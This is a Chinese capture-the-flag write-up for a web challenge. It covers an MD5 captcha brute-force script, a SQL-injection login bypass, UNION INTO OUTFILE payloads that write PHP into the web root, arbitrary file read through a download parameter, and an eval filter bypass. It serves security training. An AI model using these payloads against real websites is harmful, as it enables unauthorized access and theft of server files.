测试登录
验证码:substr(md5(captcha), 0, 6)=b0b27d
# 带字母爆破
import hashlib
import itertools as its
words = "1234568790abcdefghijklmnopqrstuvwxyz"
r = its.product(words, repeat=5)
for i in r:
a = "".join(i)
md5 = hashlib.md5(a.encode('utf-8')).hexdigest()
if(md5[0:6] == 'b0b27d'):
print a
break
# 纯数字爆破
import hashlib
for i in range(1000000):
fd = hashlib.md5()
fd.update(str(i))
x = fd.hexdigest()
if(x[0:5] == code):
print i
break
测试万能密码登录成功:admin'or'1'='1
,显然登录有一个注入点
登陆后跳转地址/Challenges/action.php?action=file
页面中包含地址./file/download.php?f=hello.txt
利用点
- /Challenges/action.php的action参数,文件包含?
- /Challenges/file/download.php的f参数,任意文件读取?
- 登录点存在注入
发现download.php可以使用绝对路径(/var/www/html)读取网站源码,相对路径(../)被过滤,以及位于Challenges/file/a.php
文件的提示:Do what you want to do, web dog, flag is in the web root dir
歧途
尝试访问发现根目录/var/www/html
下并没有flag.php,认为flag文件不是这个名字,于是想到列出网站根目录文件。于是需要getshell。
sql写马
测试1.txt,发现并没有有权限,并且测试登录这里可以进行报错注入,这道题我甚至注出了admin的密码,不过并没什么用
username=admin&password=admin'+Union+Select+1,2,3+inTo+ouTfile+'/var/www/html/1.txt'+%23&captcha_md5=161645&submit=Submit
若有权限,可以使用如下方式继续测试
username=admin&password=admin'+Union+Select+1,'<?php phpinfo();?>',3+inTo+ouTfile+'/var/www/html/1.php'+%23&captcha_md5=161645&submit=Submit
文件包含
尝试在/Challenges/action.php
利用php://input
,然后post发送php语句执行。发现并没用,查看源码发现这里已经失去了php伪协议利用的条件。
<?php
//action.php
if (isset($_GET['action'])) {
$model = "include/" . $_GET['action'] . ".php";
if (!is_file($model)){
echo "Model not exist!";
exit;
} else {
include_once($model);
}
}
?>
可见在include_once()的参数已经拼接上了include/
字符串,所以这里无法利用除了相对路径以外的获取文件的方式。
根目录!!!
flag在网站根目录下,发现居然是/var/www/html/Challenges/
目录下,你说这是网站根目录(无奈),利用download.php读到flag.php源码,访问http:/784e6b7e50e74866a4cf3df85059c7eb49209b9d6b584d85.game.ichunqiu.com/Challenges/file/download.php?f=/var/www/html/Challenges/flag.php
<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
eval("\$spaceone = $f");
}
catch (Exception $e)
{
return false;
}
if ($spaceone === 'flag'){
echo file_get_contents("helloctf.php");
}
?>
直接download.php读取helloctf.php失败,分析源码逻辑,执行"\$spaceone = $f"
最后判断$spaceone===flag
,eval
函数参数是一句完整的php语句,所以需要加上逗号,最后向Challenges/flag.php
提交post参数flag=flag;